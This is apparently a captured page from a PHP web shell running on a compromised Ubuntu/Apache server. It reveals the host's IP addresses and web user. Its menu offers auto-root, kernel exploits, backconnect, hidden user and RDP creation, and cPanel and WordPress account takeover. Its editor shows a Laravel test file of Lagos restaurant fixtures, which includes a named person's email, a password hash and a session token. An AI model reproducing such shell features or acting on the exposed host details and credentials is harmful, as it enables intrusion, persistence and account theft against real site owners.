Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.92.213
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cravings /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
x
[ DIR ]
drwxr-xr-x
CreatesApplication.php
432
B
-rw-rw-r--
TestCase.php
20.42
KB
-rw-rw-r--
googleda794cd9937527d01.html
28
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TestCase.php
<?php namespace Tests; use Illuminate\Foundation\Testing\TestCase as BaseTestCase; use Illuminate\Support\Facades\DB; // use App\User; abstract class TestCase extends BaseTestCase { use CreatesApplication; protected function setUp(): void { parent::setUp(); $app = $this->createApplication(); } protected function tearDown(): void { parent::tearDown(); $db = DB::getMongoClient()->selectDatabase('testing'); $db->places->deleteMany([]); $db->fooding->deleteMany([]); $db->search->deleteMany([]); $db->users->deleteMany([]); } /** * @inheritDoc */ public static function setUpBeforeClass(): void { } protected function searchData($place) { return [ 'longitude' => $place['location']['coordinates'][0], 'latitude' => $place['location']['coordinates'][1] ]; } public function createPlaces($numOfPlaces, $f = true, $area = null, $popular = 0, $delivery = 0, $likes = 0, $user = null, $enabled = 0) { // dd($numOfPlaces); $pl = []; $selected = []; $popCount = $popular; $dCount = $delivery; for ($i=0; $i < $numOfPlaces; $i++) { $pl[] = $this->createPlace($f, $area, 3, $popCount, $dCount, $i, $likes, $user); $popCount--; $dCount--; } return $pl; } public function createUser($role = 'admin', $super = 0) { $db = DB::getMongoClient()->selectDatabase('testing'); $user = [ "name" => "Obinna Okafor", "email" => "obinna@fivenines.com.ng", "password" => '$2y$10$WahdLktDuh/VIkVPUbxF/OAxX23oDVgbDmqN4DMQhom2TyfcVw8OW', "role" => $role, "super" => $super, "remember_token" => "OqBJ4jVKly3cGdv8boLMB0VgtFlRvXORb2iQLnnfUTepGbdU2FHWTdgO3tHz" ]; $id = $db->users->insertOne($user); return (string) $id->getInsertedId(); } /** * Add a new place to the database and return it * * @param bool $f add food to place * @return array */ public function createPlace( $f = false, $area = 'lekki', $foodCount = 5, $pop = 0, $delivery = 0, $i = 0, $likes = null, $user = null, $enabled = true ) { $db = DB::getMongoClient()->selectDatabase('testing'); $place = $this->place($area, $i); $slug = $this->slugify($place['name']); $place['slug'] = $slug; // $deliveryAreas = ['ikeja', 'festac', 'yaba', 'lekki', 'ikoyi', 'ajah', 'gbagada']; if($pop >= 1) $place['popular'] = true; // if($delivery >= 1 && $area) $place['delivery'] = [$area]; if($likes) { $users = factory(\App\User::class, $likes)->make(); // dd($users); foreach ($users as $u) { $place['likes'][] = $u->_id; } if($user) { $place['likes'][] = (string) $user->id; // var_dump($user);die; } }else $place['likes'] = []; $place['enabled'] = $enabled; $pp = $db->places->insertOne($place); if($id = $pp->getInsertedId()){ $food = $f ? $this->createFood($foodCount, $slug, $place['name']) : null; $place['food'] = $food; $place['_id'] = $id; return $place; }else { throw new \Exception("Error creating test place"); } } /** * create food for a place * * @param int $num number of food items to create * @param string $place_slug place slug * @param string $place_name name of place * @return void * */ public function createFood(int $num, string $place_slug, string $place_name) { $db = DB::getMongoClient()->selectDatabase('testing'); $foods = json_decode($this->food(), true); $foo = array(); for ($i=0; $i < $num; $i++) { $foo[] = [ 'name' => $foods[$i]['name'], 'price' => mt_rand(2, 30) * 100, 'description' => '', 'place_name' => $place_name, 'place_slug' => $place_slug ]; } // var_dump($foo);die; $foods = $db->fooding->insertMany($foo); // var_dump($foo); // var_dump($foods->getInsertedIds());die; foreach ($foods->getInsertedIds() as $key => $id) { $foo[$key]['_id'] = (string) $id; $foo[$key]['rating'] = null; unset($foo[$key]['place_name'], $foo[$key]['place_slug']); } // var_dump($foo);die; return $foo; } /** * Slugify place name * * A method that converts the name of a place to a slug * * @param String $name * @return String **/ protected function slugify(String $name) { $db = DB::getMongoClient()->selectDatabase('testing'); $stripped = str_replace(" ", " ", preg_replace('(\/|\(|\))', "", $name)); $result = $db->places->find(['name' => $name])->toArray(); if ($length = count($result) !== 0) { $slugged = implode("-", explode(" ", strtolower($stripped))) . '-' . $length; return $slugged; } return implode("-", explode(" ", strtolower($stripped))); } /** * Pick a random name, address and coordinates from a list * * @param void * @return array */ protected function place($area = 'festac', $i) { return array_merge($this->locations($area, $i), ['type' => $this->type()]); } public function name($num = 1) { $i = mt_rand(0, 5); $names = ['BlackBell Restaurant', 'Shiro', 'Sabor', 'The Place', 'Sweet Sensation', 'Chicken Republic', 'Kilimanjaro']; return $names[$i]; } public function sameAreaLocations($area = null) { } public function locations($area = 'festac', $num = 0) { $areas = [ 'festac' => [ [ "name" => "Anambra Kitchen", "address" => "Apple Junction, Oba Babatunde Gbanko Way, Festac Town, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.31266, 6.47107 ] ] ], [ "name" => "Tantalizers (Festac)", "address" => "21 Road, I Close, Makay Plaza, Festac Town, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.29347, 6.46785 ] ] ], [ "name" => "Cold Stone Creamery (Festac)", "address" => "Domino's Pizza, 1st Avenue, Festac Town, Lagos, Nigeria", "location" => [ "type" => "Point", "coordinates" => [ 3.2975874999999633, 6.468482499999999 ] ] ], [ "name" => "Debonairs Pizza (Festival Mall)", "address" => "Festival Mall, Janet Faje street, Festac Town, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.30425, 6.46507 ] ] ], [ "name" => "Ocean Basket (Festival Mall)", "address" => "Festival Mall, Janet Faje street, Festac Town, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.30425, 6.46507 ] ] ], [ "name" => "KFC (Festac)", "address" => "Mobile service station, 23 Road, 4th Avenue, Festac Town, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.27564, 6.47667 ] ] ] ], 'lekki' => [ [ "name" => "Sailors Lounge (Lekki)", "address" => "15 Wole Ariyo St, Lekki Phase I, Lagos, Nigeria", "location" => [ "type" => "Point", "coordinates" => [ 3.4588679999999, 6.4439139 ] ] ], [ "name" => "The Green & Grill House", "address" => "15 Wole Ariyo, Off Admiralty Way, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.45885, 6.44392 ] ] ], [ "name" => "Pear & Peony Cafe", "address" => "22 Emma Abimbola Cole, Lekki Phase I, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 0, 0 ] ] ], [ "name" => "Bubble Tii (Lekki)", "address" => "1 Ogbunike Street, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.4712136000000555, 6.4456976 ] ] ], [ "name" => "Parlay", "address" => "18b Fola Osibo Street, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.46799, 6.44253 ] ] ], [ "name" => "Angle Villa Restaurant", "address" => "1 Ogbunike Street, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.45748, 6.4475 ] ] ], [ "name" => "Bubbleville", "address" => "Cinnamon Garden Mall, Victoria Arobieke Street, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.47205, 6.44673 ] ] ], [ "name" => "Ice Cream Factory", "address" => "5 Admiralty Way, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.45512, 6.44422 ] ] ], [ "name" => "The Terrace Bar - Filmhouse IMAX", "address" => "Filmhouse IMAX, The Rock Drive, Off Bisola Durosinmi Etti Drive, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.47127, 6.43911 ] ] ], [ "name" => "JamRock (Admiralty)", "address" => "Sixty-9 Mall, 69B Admiralty Way, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.47318, 6.44754 ] ] ], [ "name" => "The Roof Grill and Bar (Lekki)", "address" => "Park Place Mall, 78 Admiralty way, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.4774, 6.4481 ] ] ], [ "name" => "Earth Blend Juice Lab", "address" => "Rade Mall, 21b Fola Osibo street, Lekki Phase 1, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.46663, 6.44265 ] ] ] ], 'surulere' => [ [ "name" => "Zenith Water Margin", "address" => "28 Adeniran Ogunsanya Street, Surulere, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35759, 6.49707 ] ] ], [ "name" => "Southern Delicacies", "address" => "115 Ogunlana Drive, Off Masha Road, Surulere, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35208, 6.50536 ] ] ], [ "name" => "Chicken Republic (Surulere)", "address" => "73 Bode Thomas Street, Surulere, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35559, 6.49019 ] ] ], [ "name" => "Barcelos (Surulere)", "address" => "Surulere Leisure Mall, 97-99 Adeniran Ogunsanya street, Surulere, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35728, 6.49007 ] ] ], [ "name" => "01 Shawarma Mabo", "address" => "22 Mabo street, off Ishaga road, Surulere, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.3587, 6.51274 ] ] ], [ "name" => "Amikoj Krado ", "address" => "45 Adeniran Ogunsanya Street, Surulere, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35738, 6.49405 ] ] ], [ "name" => "Q Bites (Surulere)", "address" => "Surulere Leisure Mall, 97-99 Adeniran Ogunsanya street, Surulere, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35728, 6.49007 ] ] ] ], 'ikeja' => [ [ "name" => "Mama Cass (Allen Avenue)", "address" => "11 Allen Avenue, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.3543, 6.59694 ] ] ], [ "name" => "01 Shawarma Ikeja", "address" => "67 Adeniyi Jones Avenue, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.34497, 6.61218 ] ] ], [ "name" => "Aroy Dee - Westown Hotels", "address" => "7 Sheraton Opebi Link road, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.36222, 6.58433 ] ] ], [ "name" => "Cielo Lounge", "address" => "25 Oduduwa Way, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.3565, 6.57284 ] ] ], [ "name" => "The Village Lounge", "address" => "7 Okunfolami Street, Anthony Village, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.37165, 6.56568 ] ] ], [ "name" => "SO Fresh Ikeja", "address" => "71 Opebi Road, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.36209, 6.58844 ] ] ], [ "name" => "Hello Suya (Trinity Mall)", "address" => "Trinity Mall, 79 Obafemi Awolowo Way, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.34405, 6.60217 ] ] ], [ "name" => "01 Shawarma Ikeja GRA", "address" => "28 Issac John Street, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35935, 6.5806 ] ] ], [ "name" => "Goodies Pub - Sheraton Lagos", "address" => "30 Mobolaji Bank Anthony Way, Ikeja, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.35846, 6.58422 ] ] ] ], 'vi' => [ [ "name" => "Craft Gourmet By Lou Baker", "address" => "Mega Plaza Mall, 14 Idowu Martins Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42052, 6.43333 ] ] ], [ "name" => "Nok by Alara", "address" => "12A Akin Olugbade Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42139, 6.43061 ] ] ], [ "name" => "Art Cafe", "address" => "282 Akin Olugbade Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42, 6.43131 ] ] ], [ "name" => "Arabesque", "address" => "225B Etim Inyang Cresent, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.43479, 6.43347 ] ] ], [ "name" => "Chocolat Royal", "address" => "AIM Plaza, 267A Etim Inyang Crescent, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.43732, 6.43323 ] ] ], [ "name" => "Utopia Restaurant & Bar", "address" => "11B Goriola Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.41374, 6.43218 ] ] ], [ "name" => "Bottles Restaurant", "address" => "8 Imam Agusto Close, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42684, 6.42679 ] ] ], [ "name" => "Johnny Rockets", "address" => "1411 Adetokunbo Ademola street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42725, 6.42306 ] ] ], [ "name" => "Metisse", "address" => "AIM Plaza, 267A Etim Inyang Crescent, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.43732, 6.43323 ] ] ], [ "name" => "Sakura", "address" => "2A Saka Jojo street, Off Idejo Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.41344, 6.42756 ] ] ], [ "name" => "La Pointe Cafe", "address" => "La Pointe, 4A Akin Olugbade Street, Off Idowu Martins Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42042, 6.43119 ] ] ], [ "name" => "Lotus at Pattaya", "address" => "30 Adeola Hopewell street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42968, 6.43544 ] ] ], [ "name" => "Izanagi", "address" => "19B Idejo Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.41409, 6.42649 ] ] ], [ "name" => "Delis Coffee Shop", "address" => "1291 Akin Adesola Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42399, 6.43 ] ] ], [ "name" => "RSVP", "address" => "9 Eletu Ogabi, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42146, 6.42838 ] ] ], [ "name" => "Ocean Basket", "address" => "35 Akin Adesola Street, Victoria Island, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42356, 6.42486 ] ] ] ], 'ikoyi' => [ [ "name" => "Gourmet Burger Bar", "address" => "Samantha's Bistro, 2 Olawale Daodu (Webb) Road, off Kingsway Road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.43078, 6.44892 ] ] ], [ "name" => "Restaurant - Southern Sun Ikoyi ", "address" => "Alfred Rewane road / Kingsway road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.43163, 6.45485 ] ] ], [ "name" => "Vineyard - Clear Essence California Spa", "address" => "13 Alexander Road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.44866, 6.45057 ] ] ], [ "name" => "The Jazzhole", "address" => "168 Awolowo Road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.42217, 6.44434 ] ] ], [ "name" => "Sprinkled and Spiced", "address" => "27 Ribadu Road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.41795, 6.44526 ] ] ], [ "name" => "Oasis Bistro", "address" => "21 Cameron Road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.4296, 6.45751 ] ] ], [ "name" => "Nuli Juice Lounge", "address" => "2 Olawale Daodu Road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.4303, 6.44908 ] ] ], [ "name" => "Mr Chang", "address" => "126 Awolowo Road, Ikoyi, Lagos", "location" => [ "type" => "Point", "coordinates" => [ 3.41898, 6.44182 ] ] ] ] ]; // $a = array_rand($areas); try { return count($areas[$area]) > $num ? $areas[$area][$num] : []; } catch (\Exception $e) { var_dump($e->getMessage()); var_dump($area);die; } // return $num === 1 ? $areas[$a][array_rand(array_keys($areas[$a]))] : array_slice($areas[$a], 0, $num); } /** * Randomly select a type of place from a list of types * * @return string */ private function type() { $types = [ 'restaurant', 'mamaput', 'bar', 'streetfood', 'fastfood', 'hotel', 'eatery', 'cafe', 'online' ]; return $types[mt_rand(0, count($types)-1)]; } /** * List of food names * * @return json */ private function food() { return '[{"name":"Spicy Beef" },{"name":"Spicy Goat Meat" },{"name":"Spicy Pork Chops" },{"name":"Deltapot Assorted Special" },{"name":"Peppered Chicken" },{"name":"Spicy Grilled Turkey" },{"name":"Peppered Chicken Wings" },{"name":"Goat Meat Peppersoup" },{"name":"Chicken Peppersoup" },{"name":"Assorted Peppersoup" },{"name":"Spicy Stewed Snail" },{"name":"Nkwobi" },{"name":"Isiewu" },{"name":"Steam Crocker and Roasted Yam" },{"name":"Peppered Gizzard" },{"name":"Dryfish" },{"name":"Snail" },{"name":"Okro Soup" },{"name":"Egusi Soup" },{"name":"Afang Soup" },{"name":"Edikang Ikong Soup" },{"name":"Ogbono Soup" },{"name":"White Soup" },{"name":"Onugbo (bitter Leaf Soup)" },{"name":"Oha Soup" },{"name":"All Deltapot Soups" },{"name":"Banga Soup" },{"name":"Owho Soup" },{"name":"Gbagbafofo (okro Peppersoup)" },{"name":"Gbagba Kpogiri (egusi Pepper Soup)" },{"name":"(ukodo) Pepper Soup And Yam" },{"name":"Banga Rice Fiesta" },{"name":"Coconut Rice Fiesta" },{"name":"Pepper Rice" },{"name":"Beans Stew And Rice" },{"name":"Beans And Plantain" },{"name":"Pottage Fiesta" },{"name":"Spaghetti Special" },{"name":"Fried Sweet Potatoes" },{"name":"Boiled Yam" },{"name":"Fried Yam" },{"name":"Boiled Plantain" },{"name":"Fried Plantain" },{"name":"White Rice" },{"name":"Jollof Rice" },{"name":"Mixed Rice And Beans" },{"name":"Coconut Rice" },{"name":"Catfish" },{"name":"Croaker" },{"name":"Dried Catfish" },{"name":"Stockfish" },{"name":"Pepper Sauce" },{"name":"Starch" },{"name":"Pounded Yam" },{"name":"Semo" },{"name":"Eba" },{"name":"Wheat" },{"name":"Periwinkle" },{"name":"Boiled Egg" },{"name":"Fried Egg" },{"name":"Beans" },{"name":"Garden Egg Sauce" },{"name":"Pottage" },{"name":"Beef Wrap" },{"name":"Veggie Wrap" },{"name":"BLT Sandwich" },{"name":"Club Sandwich" },{"name":"Salmon Sandwich" },{"name":"Tuna Sandwich" },{"name":"Steak and Cheese Panini" },{"name":"Creamy Cajun Seafood Pasta" },{"name":"Spaghetti Bolognese" },{"name":"Veggie Penne" },{"name":"Chicken and Shrimp Noodles" },{"name":"Spicy Chicken Noodle (stir fry)" },{"name":"BBQ Chicken" },{"name":"Creamy Chicken and Vegetable" },{"name":"Grilled Steak in Tomato Sauce" },{"name":"Spicy Snail" },{"name":"Prawns Curry" },{"name":"Cauliflower “fried rice” with Salmon" },{"name":"Jollof Rice" },{"name":"Fried Rice" }]'; } }
Close